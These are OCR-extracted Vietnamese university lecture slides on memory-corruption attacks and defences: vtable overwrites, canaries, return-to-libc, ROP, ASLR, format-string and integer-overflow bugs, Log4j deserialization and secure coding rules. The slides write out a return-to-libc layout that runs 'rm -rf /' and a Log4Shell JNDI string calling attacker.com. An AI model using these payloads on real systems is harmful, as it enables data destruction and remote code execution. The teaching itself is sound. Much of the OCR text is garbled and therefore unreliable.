HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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C++ vtables

instance variable of y address of method bar

method bar of ClassY

[

address of vtable of y address of method foo

ClassY vtable

method foo of ClassY

instance variable of x

method bar of Classx

instance variable of x address of method bar
address of vtable of x address of method foo
Heap ClassXvtable

method foo of Classx

Code

Dé thuc thi mot phwong thire cla y:

(1) Theo con tré vtable cla y t¢i bang vtable cla ClassY
(2) Theo con trd trong bang vtable t&i viung nhé chira ma thire thi

cla phwong thirc

[T

DAI HOC BACH KHOA HA NOI
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C++ vtables

instance variable of y

address of method bar

method bar of ClassY

E address of vtable of y

address of SHELLCODE

address of method foo

SHELLCODE

ClassY vtable

method foo of ClassY

instance variable of x

instance variable of x

address of method bar

method bar of Classx

address of vtable of x

address of method foo

method foo of Classx

Heap ClassXvtable

Code

Gia st 16i tran bd dém xuét hién cho phép lam tran thudc tinh nao d6
clla x, gia tri con trd vtable ctia y c6 thé bj ghi dé&

I” DAI HQC BACH KHOA HA NOI
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Buffer Overflow - Phong chéng

» Secure Coding: sir dung cac ham an toan cé kiém soat
kich thuéc dir liéu dau vao.
« fgets(), stricpy(), stricat()...
* Stack Shield:
e Luu trir dia chi trd vé vao ving nhé bao vé khong thé bi ghi dé
 Sao chép dia chi tra vé tir ving nhé bao vé
» Stack Guard: s&r dung cac gia trj canh giir (canary) dé
phat hién ma nguon bi chén
* Non-executable pages: Khong cho phép thyc thi ma
nguon trong mét sé loai trang nha, vi du: stack
* Linux: sysctl -w kernel.exec-shield=0

« Van bi khai thac bai ki thuat return-to-libc, return-oriented
programming

I” DAI HQC BACH KHOA HA NOI
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Str dung gia trj canh giir - Vid

callee () static int random;
{ caller ()

int canary = random; {

char buffer[4]; random = rand();

callee();

if (canary!=random) }
//detect attack
else return;

00 00 00 00 4d 65 21 00 &argl

buffer canary

Buffer Overflow attack argl

- buffer canary
I DAI HOC BACH KHOA HA NOI

B8 s HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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S dung gia tri canh giir - Han ché

* Rorigia tri canh giir: d6i phwong ghi de gia tri canh git
bang gia tri cia chinh né
« Bétky 16 héng nao lam ro ri b nho stack déu cho phép ké
tan cong xac dinh duoc gia tri canh gitr. Vi du: 16 héng xau
dinh dang

* Vong tranh gia tri canh giit:
* Giatricanh gitr co6 tac dung khi cdc ham nhan dir liéu dau
vao ghidir liéu lién tuc tir dja chi thap dén dja chi cao.
« Mt vai k§ thuat tan cong cho phép ghi vong quang gia tri
canh gitt:
+ Khai thac 16 héng xau dinh dang cho phép ghi vao 6 bat ky
* Tran bé dém trong vung nhé heap
+ Khaithéac 16 héng trong C++ vtable

 Ké tan cong co thé doan gia tri canh gitr

I” DAI HQC BACH KHOA HA NOI
HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Non-executable pages - Han ché

« K§ thuat nay khéng thé ngan can ké tan cong loi
dung ma thyc thi da duoc nap san trong bé nhé.
¢ Viduy: cdc ham thu vién chuan cda C (libc), ham |&i goi
hé théng
* Phan Ién cac chuvong trinh thuong st dung cac
ham ma ma nguén da dugc nap vao bé nhé
» Cacky thuat khai thac:
 Return-to-libc: ghi dé gia tri RIP dé nhay t&i ham trong
thu vién chuin cta C, hodc ham loi goi hé théng

 Return-oriented programming (ROP): tao shellcode
ma no st dung mét phan ma thuce thi da dwoc nap

I” DAI HQC BACH KHOA HA NOI
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Return-to-libc: Vi du

* Kétancéng muénthycthi system(“*rm -rf /%)

RIP cua main

system:
SFP cua main

void vulnerable (void) .

{ vulnerable: RIP cua vulnerable
char name [20] ; . EBP —| SFP cua vulnerable
gets (name) ; EIP +— call gets

} addl $4, %esp name

movl %ebp, %esp

int main(void) { popl %ebp name
vulnerable() ; ret name
return 0;

} main: name

call vulnerable name

ESP — &name (tham sb cia gets)

I” DAI HQC BACH KHOA HA NOI
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Return-to-libc: Vi du

+ Ké tadn cong muén thycthisystem (“rm -rf /“)

A’

24

'B' *x 4

+ + + + *

"rm -rf /u

[address of system()]

[address of "rm -rf /"]

void vulnerable (void)

int main(void) {

char name[20];
gets (name) ;

EIP

vulnerable() ;
return 0;

DAI HOC BACH KHOA HA NOI

"\O"'
Vrl Vfl i} i} l/'
020 - Vo v

I: [address of "rm -rf /"]
system:
*444444*44144447 'BBBB'
vulnerable: [address of system()]
R — ' |l
call gets EBP AAAA
—> addl $4, %esp "ARAAA'
movl %ebp, %esp
popl %ebp 'AAAA'
ret . .
main: 'AAAA'
call vulnerable 'ARAAA'
ESP —» &name (tham sé cia gets)

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Return-to-libc: Vi du

* Kétancéng muénthycthi system(“*rm -rf /%)

-rf /"!

Khi hAm vulnerable tra vé, con tré EIP nhay téi
ham system, va tham s6 dugc truyén vao la 4
byte trén con tré ESP, tirc 1a dia chi cla xau "rm

"\O"'
Vrl Vfl i} i} l/'
020 Il Vo o

5

{

}

void vulnerable (void)

int main(void) {

EIP

char name[20];
gets (name) ;

vulnerable() ;
return 0;

system:
— ...

+—————————ﬁsp —

vulnerable:

call
addl
movl
popl
ret

main:

call

gets

$4, %esp
%ebp, %esp
%ebp

vulnerable

[address of "rm -rf /"]

'BBBB'

[address of system()]

"ARRA'

"AARA

"AARA

"AARA’

"AARA

"AARA

DAI HOC BACH KHOA HA NOI

&name (tham sé cia gets)

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Return-oriented programming (ROP)

 Thay vi thyc thi toan bé mét ham, c6 thé thuc thi cac
manh cta cac ham dwogc dat & cac vi tri khac nhau.
« Khong can EIP phai nhay t&i dau ham ma chi can nhay téi vi
tri & gitta ham ma cé doan ma can thyc hién
» Gadget: mét doan ma nhé chiéra cac lénh da duoc nap
vao trong bé nha:
e Thuong két thic béilénh ret
¢ Khong phaila mét ham day dd
« Chién thuat cia ROP: ghi d& mét chudi cac dia chi tra
vé, bat dau & 6 nhé chra gid tri RIP
« Mbidijachitrdveé tré tsi 1 gadget
» Gadget thyc thiva két thic véi moét lénh ret
¢ Lénh ret thyc thikhién cho EIP nhay té¢i gadget tiép theo

I” DAI HQC BACH KHOA HA NOI
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ROP - Vidu

» Gia sirshellcode can thyc hién
2 lénh sau:

mov $1, %eax
xXor %eax, %ebx

« Caclénh nay nam trong 2 ham
da duwoc nap vao b6 nha:

foo:

RIP cua main

SFP cua main

<foo+7> add $4, %esp RIP cta vulnerable
<foo+10> xor %eax, %ebx
<foo+12> ret

SFP cua vulnerable

name

bar ; name
<bar+22> and $1, %edx name
<bar+25> mov $1, %eax name

<bar+30> ret
name

&name (tham sé cia gets)

I” DAI HQC BACH KHOA HA NOI

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY

ekt

70

70



ROP - Vidu

foo
Khai thac: add $4, sesp
A % 24 xXor %eax, %ebx aoa aoa aoa
+ [address of <bar+25>] Tet ... . . ..
+ [address of <foo+10>] b
+ ... (more chains) ar
and $1, %edx
mov $1, %eax
ret coo coo coo 000
void vulnerable (void) .. .. .. ..
{ vulnerable:
char name[20]; . RIP cua main
gets (name) ; EIP{—> call gets — .
} add $4, %esp SFP cua main
mov %ebp, %esp RIP cuia vulnerable
int main(void) { pop %ebp =
vulnerable() ; ret EBP —»| SFP cua vulnerable
return 0;
} main: name
o name
call vulnerable
name
name
name
- ESP —» &name (tham sé cia gets)
I DAI HOC BACH KHOA HA NOI
- HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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ROP - Vid
.
foo
Khai thac: add $4, sesp
A % 24 xor %eax, %ebx
+ [address of <bar+25>] ret .. .. .. .
+ [address of <foo+10>] -
+ ... (more chains) bar [ROP chain address]
and $1, %edx [ROP chain address]
mov $1, %eax .
$ [ROP chain address]
ret
void vulnerable (void) [ROP chain address]
{ vulnerable:
char name[20]; - [ROP chain address]
gets (name) ; call gets L]
} EIP—> add $4, %esp [address of <foo+10>]
mov %ebp, %esp [address of <bar+25>]
int main(void) { pop %ebp - -
vulnerable () ; ret EBP — AAAA
return 0;
) main: "ARAA'
. "AAAR'
call vulnerable
"AAAR'
"AAAR'
"AAAR'
ESP —»| &name (tham sé cua gets)

[T

DAI HOC BACH KHOA HA NOI
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ROP - Vidu

foo
add $4, %esp
xXor %eax, %ebx
ret
bar [ROP chain address]
and $1, %edx [ROP chain address]
1, % 3
'::Z $ eax [ROP chain address]
void vulnerable (void) [ROP chain address]
{ vulnerable:
char name[20]; . [ROP chain address]
gets (name) ; call gets L]
) add §4, %esp [address of <foo+10>]
mov %ebp, %esp ESP —| [address of <bar+25>]
int main(void) { pop %ebp
vulnerable() ; EIP— ret EBP — "AAAA'
return 0;
) main: 'ARARA
. 'AAAA'
call vulnerable
'AAAA'
'AAAA'
'AAAA'
&name (tham sé cia gets)
I DAI HOC BACH KHOA HA NOI
- HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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ROP - Vid
.
foo
add $4, %esp
xXor %eax, %ebx
ret
bar [ROP chain address]
and $1, %edx [ROP chain address]
EIP[— 1, % «— X
:‘:Z $ eax [ROP chain address]
void vulnerable (void) [ROP chain address]
{ vulnerable:
char name[20]; oo [ROP chain address]
gets (name) ; call gets L |
) add §4, %esp ESP [address of <foo+10>]
mov %ebp, %esp [address of <bar+25>]
int main(void) { pop %ebp - -
vulnerable() ; ret EBP — AAAA
return 0;
} main: "AAAA'
. 'AAAA'
call vulnerable
'ARAAA’
'ARAA’
'AAAA'

I” DAI HQC BACH KHOA HA NOI
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ROP - Vidu

foo:
Lénh ret ludn I3y ra gia add $4, %esp
trj & dinh stack va gan EIP{—> =xor %eax, %ebx
chocontrd EIP,dods | 1 et
con tré nay di chuyén bar: .
H oo R 2 : ROP chain
theo chuéi dia chi da [Eel eticem eizees)
duoc nap vao and $1, %edx [ROP chain address]
1, % X
'::: $ eax [ROP chain address]
void vulnerable (void) [ROP chain address]
{ vulnerable:
char name[20]; ESP — [ROP chain address]
gets (name) ; call gets L]
) add §4, %esp [address of <foo+10>]
mov %ebp, %esp [address of <bar+25>]
int main(void) { pop %ebp
vulnerable() ; ret EBP —»| 'AAAR'
return 0;
) main: 'AAAA’
S "AARAA'
call vulnerable
"ARAAA'
"ARAAA’
"ARAAA’
2 &name (tham sé cia gets)
I DAI HOC BACH KHOA HA NOI
- HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
75

75

Buffer Overflow - Phong chéng

« M3 xac thuc con tréd(PAC - Pointer
Authentication Code)
* Bo xtr ly 64-bit: str dung con tré co kich thudc 64
bit
* binh dija chi dwoc cho 244 6 nh¢ ~ 18 ti GB

+ Cac hé théng may tinh hién dai: chi can téi da 42 bit dé
dinh dia chi

* S6 bit khong duoc st dung: 22 bit
* PAC duoc gan cho 22 bit khéng duoc sir dung:

* Sir dung cac thuat toan dé sinh PAC tir gia tri bi mat do
CPUsinh

» Cac chuong trinh khéng thé truy cap gia tri bi mat nay
 Pa duoctrién khai trén kién tric ARM v8.3

I” DAI HQC BACH KHOA HA NOI
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Buffer Overflow - Phong chéng

 Address Space Layout Randomization(ASLR)

Oxffffffff
KSe] 0xc0000000
Thiét 1ap khi ti€n trinh { cmdline & env
bt dau
Stack

Thay d&i khi thuc thi

4._ Nap vao véi dia chi

- bat dau clia mdi

Heap N . x i n
vung la ngau nhién

Xéc dinh & thoi digm BSS
bién dich Data
" . . ? 2 TeXt -

Khong gian dia chi cta 008048000

thiét bj vao-ra { Unused %

7 DAIHQC BACH KHOA HA NOI 05200000000
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ASLR

» Address Space Layout Randomlzatlon(ASLR) dat
mdi viing nhé vao mot dia chi khac nhau méi [an
chuong trinh chay:

* Ké tén cong khong thé biét duoc vi tri cta shellcode vi
dia chi thay d&i méi [an chuong trinh chay

* ASLR x3o0 trén vi tricda cac vung nhé

D3t ngau nhién ving nhé stack: Khong thé thyc thi
shellcode trong viing nhé stack ma khong biét dia chi
cuastack

D3t ngdu nhién viing nhé heap: Khéng thé thuc thi
shellcode trong viing nhé heap ma khong biét dia chi
cua heap

* Bt ngau nhién ving nhé code: Khong thé xay dung
chudi dia chi cia ROP hojc tin cong return-to-libc ma
khéng biét dia chi ctia code

I” DAI HQC BACH KHOA HA NOI
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ASLR - Han ché

* Gia tri RIP luén nam & 4 byte phia trén SFP
» Né&u chuong trinh cé 16 héng xau dinh dang, gia tri caa
SFP c6 thé bi 16
—>L6 diachicontroé stack
- L6 dia chi RIP, con tré vtable, con tré ham...

* Doan dia chi cia shellcode

 Trong bd nhé phan trang, méi trang nhé co kich thuéc
4KB ~ 12 bit dia chi

* S& bit can doan trén hé théng 32 bit: 32 - 12 = 20 bit
* S& bit can doan trén hé théng 64 bit, véi dia chila 48
bit: 48 - 12 = 36 bit

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
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Két hop cac ky thuat phong chéng

 Taisao?
 Cacky thuat cé thé cong huvdng dé tang hiéu qua lan
nhau
* Budc ké tan cong phai tim ra nhiéu 16 héng dé khai thac
thanh cong
» Bao vé theo chiéusau
* Vidu: két hgp ASLR va non-executable pages
» Khéng thé str dung ma thyc thi cé san trong bé nhé
» Khong thé sir dung shellcode ghi vao stack
 Pé vuot qua déng thoi hai ki thuat phong chéng:
(1) Cantim cach dé phat 16 dia chicda vung nhé
(2) Tim cach dé ghi chubi dia chi tra vé ROP vao bé nhé
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Két hop phong chéng: Apple iOS

» Cacky thuat bao vé bé nhé trén AppleiOS:
* ASLR sir dung cho *ng dung va nhan hé diéu hanh
» Non-executable pages duoc st dung bat ky vi tri nao
co thé
» Mbi &ng dung duoc thuc thi trong mét viing sandbox

« K¢y thuat khai thac “dinh ba”(trident exploit)
» Puoc phat trién béi cong ty NSO (Isreal)

+ Khai thac 16 héng clia trinh duyét Safari dé thyc thima
doc trong sandbox

+ Khaithac 16 héng khac dé doc duwoc vung nhé stack cua
nhan hé diéu hanh

+ Khai thac 16 héng trong hé diéu hanh dé thuc thi ma
doéc

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
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Kich hoat phong chéng

» Phan Ién k§ thuat phong chéng rat hiéu qua va
khong anh huéng dang ké téi hiéu nang

» Cac ky thuat cé thé mac dinh duoc kich hoat hoac
khoéng

 Khi cac ky thuat khéng duwoc kich hoat mac dinh
thi mac dinh nay thuong duoc sir dung > ké tan
cong de dang khai thac hon

* Viduy: Cisco ASA bi khai thac b&i congcu
EXTRABACON cua NSA
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L6 héng xau dinh dang

* Format String: Xau dinh dang vao ra dit liéu

« L6 héng Format String: xau dinh dang khong phu

hop véi danh sach tham sé
 Vidy printf(char * fmt, [value list])

void func ()
{
char buf[32];
if (fgets (buf, sizeof (buf),stdin) == NULL)
return;
printf (buf); //Sta: printf (“%s”, buf);

%ebp  %eip &1;mt [value list]

printf’s stack frame / Caller’s stack
frame

If" DAI HQC BACH KHOA HA NOI
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o printf(“%d”); <«—— “%d”
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L6 hong xau dinh dang: Vidu

char buf[64];
Input: $d%s

* Docdit liéu nhay cam

void vulnerable (void) {

RIP of vulnerable

SFP of vulnerable

char *secret_string = "secret"; ] secret_string arg2
int secret number = 42;
— 4 secret number argl
if (fgets(buf, 64, stdin) == NULL) =
return; &buf [arg to printf]|arg0
printf (buf) ; RIP of printf
}
SFP of printf
PRy " N N q rintf frame
V@i d6i so truyén vao, ham printf ("%$d%s") duoc thuc e :
thi. printf nhan d&i s6 arg0, va thdy cé 2 ky ty dinh dang, vi
vay s& “trong cho” thém 2 d8i s6 argl va arg2 "o bu
u
g g -
L»| 'e t '\0 \0
Output: —
r e s
42secret
I” DAI HOC BACH KHOA HA NOI
- HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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L6 hong xau dinh dang

[T

e buf = “%d” = thyc thi lénh printf(“%d”);
 Hién thj 4 byte phia trwdc dia chi dau tién cha stack

frame cGtahamprintf

* buf = “%s” = thuc thilénh printf(“%s”);
« Hién thi cac byte cho téi khi gap ky tw két thuc xau

* buf = “%d%d%d...” = thyc thi printf(“%d%d%d...”)

+ Hién thj chubi byte duéi dang s6 nguyén

o printf(“%x%x%x...”)
+ Hién thj chubi byte dwéi dang hexa

e printf(“...%n"):
* Ghi sé byte da hién thi vao viing nhé

DAI HOC BACH KHOA HA NOI

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY

86

86

43



L6 hong xau dinh dang: Ghi dé

printf(char * fmt, [value list])

%ebp  %eip %s 11 %ebp  %eip  args
value list
printf’sstack frame [ ] Caller’s stack
i} ~"Hiéu nham frame
Cé 16i printf(“Hello World%n”);
Khong c6 oi Format string
printf(“Hello World%n”, n);
%ebp  %eip g, 11 %ebp  %eip  args

I” DAI HQC BACH KHOA HA NOI
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L6 hong tran sé nguyén

* Trong may tinh, s6 nguyén dugc biéu dién bang
truc sé tron. Dai biéu dién:

» S6 nguyén cé diu: [-2n-1, 2n-1- 1]
* S6 nguyén khoéng dau: [0, 2" - 1]
* Integer Overflow: Bién s6 nguyén cla chuong

’(cjrlnh nhan mét gia tri nam ngoai dai biéu dién. Vi
u

» S6 nguyén co dau: Ox7ff..f + 1 = 0x80..0,

 S6 nguyén khong dau: Oxff..f + 1 = 0x0, 0x0 - 1 = Oxff...f
* Ngon ngir bi anh huwdng: Tat ca
* Viéc khong kiém soat hién tuwgng tran sé nguyén

c6 thé din dén cac truy cap cac vung nhé ma
khong thé kiém soat.

I” DAI HQC BACH KHOA HA NOI
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L6 hong tran sé nguyén - Vidu 1

* L6 héng nam & dau?

#define MAX 1024
void vul funcl ()
{
char buff[1024];
int len = recv_len from client();//len is length of
//message from client
char *mess = recv mess from client();
if (len > 1024)
printf (“Too large”);
else

memc (buff, mess, 1len); . . . .
Py memcpy(void* dst, void* src, unsigned int size)

len = -1 = Oxffffffff < 1024
memcpy (buff, mess, Oxffffffff) > buffer overflow

I” DAI HQC BACH KHOA HA NOI
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L6 héng tran s6 nguyén - Vidu 2

* L6 héng nam & dau?

int main ()

{ ) void * malloc(unsigned int size)
int *arr;
int len;
printf (“Number of items: ”); scanf(“%d”, &len);
arr = (int *) malloc(len * sizeof (int));
for(int i = 0; 1 < len; i++)
scanf (“%d”, arr[i]);
return 0;

}

Khi no thi viing nhé c6 kich thwéc 4*n khéng di chd chira cho n phan t&r sé nguyén?
Co xay ra 4*n = 0 khi n#0?

n = 0100 0000 0000 0000 = 0x4000

4*n = 0x0000

I” DAI HQC BACH KHOA HA NOI
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L6 hong serialization

« Serialization: co ché cia ngén ngir 1ap trinh cho
phép chuyén mot déi tuong bat ky thanh mot file
hoic luéng byte vao ra

* File hoac ludng byte cé thé dwoc chuyén cho mot
chuwong trinh khac s dung.

* Deserialization: Thyc hién chuyén nguoc lai

* Phé bién trong nhiéu ngbn ngir: Java, C#, Python

« Khong kiém soat file/luéng byte dau vao khi
deserialization la mét 16 héng cia chuong trinh

+ Ké tan cong co thé dua dir liéu doc hai va chuong trinh
thyc thima déc

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
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L6 hang serialization: Log4j

* Log4j 1a Java framework phé bién nhat dé ghi
théng tin nhat ky cada &ng dung

* Log4j str dung JNDI (Java Naming & Directory
Interface) dé 13y dir liéu tir Internet
* Log4j phan tich ct phap ctia xau dau vao chra néi
dung nhat ky ma ¢ngdungtaora
* L6 héng trong Log4j dugc cong bd vao thang
11/2021
« Mét trong nhirng |6 héng nguy hiém nhat trong 10 nam
* Giaslr Log4j nhan duoc xau
${jndi:1ldap://attacker.com/pwnage}
 Log4j thuc hién deserialze déi twong 1ay duogc tir
attacker.com

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
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4. L3p trinh an toan

ONE LOVE. ONE FUTURE.

93

Ngoén ngir khong an toan va an toan

* Ngon ngit an toan véi bo nhé(memory-safe) dugc
thiét ké dé ty dong kiém tra bién truy cap va ngan
can cac truy cap khong hop lé

->ngan chin dugc toan bd 16 héng truy cap bé nhé
* Vidu: Java, C#, Python, Go, Rust

» Tai sao ngdn ngit khdng an toan véi bo nhé nhw
C/C++van duogcstrdung
* Nguyén nhan thuong duwoc dé cap: hiéu nang cda
chuong trinh C/C++t6t hon
* Vidu: thu hsi bdé nhé véi C/C++ gan nhu ngay lap tirc, véi cac
ngon ngir khac thi thoi gian thu héi khong xac dinh(co thé 10
- 100ms)
* Nguyén nhan thyc té: phan Ién cac hé théng ban dau
duoc viét bang ngén ngir C

I” DAI HQC BACH KHOA HA NOI
HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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“Giai thoai” vé hiéu nang

* Trudc kia, can danh d6i gitra an toan va hiéu nang
khi so sdnh cac ngbn ngit 1ap trinh

* Hién tai, phan [&én cadc ngdn ngir an toan cho bd
nhd cé hiéu nang twvong dwong so véi C
* Vidu: Go va Rust
 Ngoai lé: hé diéu hanh, games hiéu nang cao, phan
mém nhung
« Cac ngdn ngit an toan cho bé nhé “cham hon”
cling dugc cam thém cac thu vién viét bang C dé
cai thién hiéu nang

I” DAI HQC BACH KHOA HA NOI
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Lap trinh an toan

* Yéu cau: Viét ma nguén chuong trinh dé dat duoc
cac muc tiéu an toan bao mat
* Bao gébm nhiéu ky thuat khac nhau:
 Kiém soat gia trj dau vao
 Kiém soat truy cap bo nhé chinh
* Che gidau ma nguén
Chéngdich nguoc
Kiém soat két qua daura
Kiém soat quyén truy cap

» Bai nay chi dé cap dén mét s6 quy tac va nhan
manh vao van dé truy cap bo nhéd mot cach an
toan

I” DAI HQC BACH KHOA HA NOI
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An toan truy cap bé nhé

« An toan khong gian(Spatial safety): thao tac chi
nén truy cap vao duing vung nhé da xac dinh
* Néu goi:
* b: dia chi 6 nhé dau tién cha vung nhé duwoc chira
* p: diachicantruy cap tai
« e: dia chi 6 nhé cudi cung cda vung nhé dugc chira
* s: kich thudc vung nhéd ma con tro p truy cap toi
* Thao tac truy cap bé nhé chian toan khi va chi
khi:

bs<p<e-s

* Lruy: Cac toan tir tac dong trén p khong lam thay
doibvae.

I” DAI HQC BACH KHOA HA NOI
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An toan khong gian - Vidu

x(chiém 4 byte): O RCTNN NN RCT T
Yy z

int x = ©; b<p<e-s
int *y = &x; // b=8, e =8 +4, s =4
int *z =y +1; // b=8&, e =& + 4, s = 4
*y = 10; //O0K: & < p = & < (& + 4) - 4
*z = 10; //Fail: & < p = & + 1 < (& + 4) - 4

char str[10]; //b = &str, e = &str + 10
str[5] = 'A'; //OK: &str < p = &tr + 5 < (&str + 10) - 1
str[10] = 'F'; //Fail: &str < p = &str + 10 ¢ (&str + 10) - 1

. L~6i truy cap khéng an toan vé khéng gian gay ra cac
|6 héng nhu d3 biét

I” DAI HQC BACH KHOA HA NOI
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An toan truy cap bé nhé

 An toan thoi gian(): thao tac chi truy cap vao ving
nhé da duoc khai tao:
e D3 cap phat bd nho
* D3 dugc khditao gid tri

* Vidu: Vi pham an toan vé thoi gian

int n;
printf("%d", n); // Fail
intm=n+ 1;
if (n)..
int *p;
*p = 9; // Fail
p = (int *) malloc(sizeof(int));
*p = 0; // OK
. | free(p);
!' BAlp = 0; //Tai sao thao tdc nay la can thiét?>—————

77

int x = 5;

int *p;

p = (int *) malloc(sizeof(int));
*p = 0; // OK

free(p);

int **q = malloc(sizeof(int*)); //q c6 thé sé& dugc cadp phat
//vung nhé vira dugc giai phéng

*q = &x;

*p = 10;

|| **q = 5; //runtime error ‘

O nhd ¢ dia chila 10

stack heap

If' DAI HQC BACH KHOA HA NOI
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biéu kién truy cap bé nhé

ekt

« Tién diéu kién(precondition): diéu kién dé cau
lénh/ham duwoc thuc thi dang dén
« Hau diéu kién(postcondition): khdng dinh trang

thai ding dan cla cac d6i tvgng khi léenh/ham két

thac

« Cach thirc xay dung diéu kién:
1) Xac dinh cau lénh thyc hién thao tac truy cap bé nhé
2) Xac dinh cacyéu ciu dé truy cap dé laan toan

3) Xac dinh nhirng yéu cau & buwéc 2 da dat dwgc do cac
caulénh lap trinh khac

4) Cacyéu cau khong dat dwoc & budc 3 1a diéu kién truy

cap bé nhé

DAI HOC BACH KHOA HA NOI
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Ppiéu kién truy cap bé nhé - Vidu

ekt

+ Vidu: Xac dinh cac diéu kién truy cap bé nhé

void displayArr (int a[], int n)
{
for(int i = 0; 1 < n; i += 1){
printf (“%d”, alil);}

DAI HOC BACH KHOA HA NOI
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Cac nguyén tac lap trinh an toan

* Khéng tin cdy nhitng thir ma khéng do ban taora
» Ngueoi dung chila nhirng ké ngéc nghéch
« Ham goi (Caller) = Nguoi dung

* Han ché cho ké khac tiép can nhirng gi quan trong. Vi du:
thanh phan bén trong cia moét ciu tric/déi twong
* Ngoén ngitt OOP: nguyén ly déng goi
* Ngon ngir non-OOP: sir dung token

» Khong bao gi¢r néi “khéng bao gio”
 Sau day s& dé cap dén mot s6 quy tac trong C/C++
V& chu dé ap trinh an toan, tham khao tai day:

https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+C
ERT+Coding+Standards

I” DAI HQC BACH KHOA HA NOI
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Kiém tra moi dir liéu dau vao

» Cacgiatrido nguoi dung nhap
* File dwugc moé
» Cac gbi tin nhan duoc tir mang

e Cacdir liéu thu nhan tw thiét bi cdm bién (Vi du:
QR code, am thanh, hinh anh,...)

* Thu viéncia bén thi 3
« Ma nguén dugc cap nhat
» Khac...

I” DAI HQC BACH KHOA HA NOI
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Str dung cac ham xtr ly xau an toan

ekt

* S&r dung cac ham xt& ly xau an toan thay cho cac
ham théng dung
* strcat, strncat - strlcat
* strcpy, strncpy = stricpy
 gets - fgets, fprintf

* Luén dam bao xau dugc két thac bang \O’

* Néu c6 thé, hay sir dung cac thu vién an toan hon
* Vidu:std::string trong C++

DAI HOC BACH KHOA HA NOI
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Str dung con tré mét cach an toan

ekt

 Hiéu biét vé cac toan tlr con tro: +, -, sizeof
« Can xda con tré vé NULL sau khi giai phéng bo
nhé

int x = 5;

int *p = (int *)malloc(sizeof(int));
free(p);

p = NULL;

int **q = (int **)malloc(sizeof(int*));
*q = &x;

*p = 5; //Crash 2> 0K

**q = 3;

DAI HOC BACH KHOA HA NOI
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Str dung cac thw vién an toan hon

* Nén s&r dung chuan C/C++11 thay cho cac chuan
ca
 Sir dung std::string trong C++ dé x{ ly xau

* Truyén dir liéu qua mang: str dung Google
Protocol Buffers hoac Apache Thrift

I” DAI HQC BACH KHOA HA NOI
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Bai giang c6 stir dung hinh anh va vi du tir cac khoa
hoc:

« Computer Security, Berkeley University

» Computer and Network Security, Maryland
University
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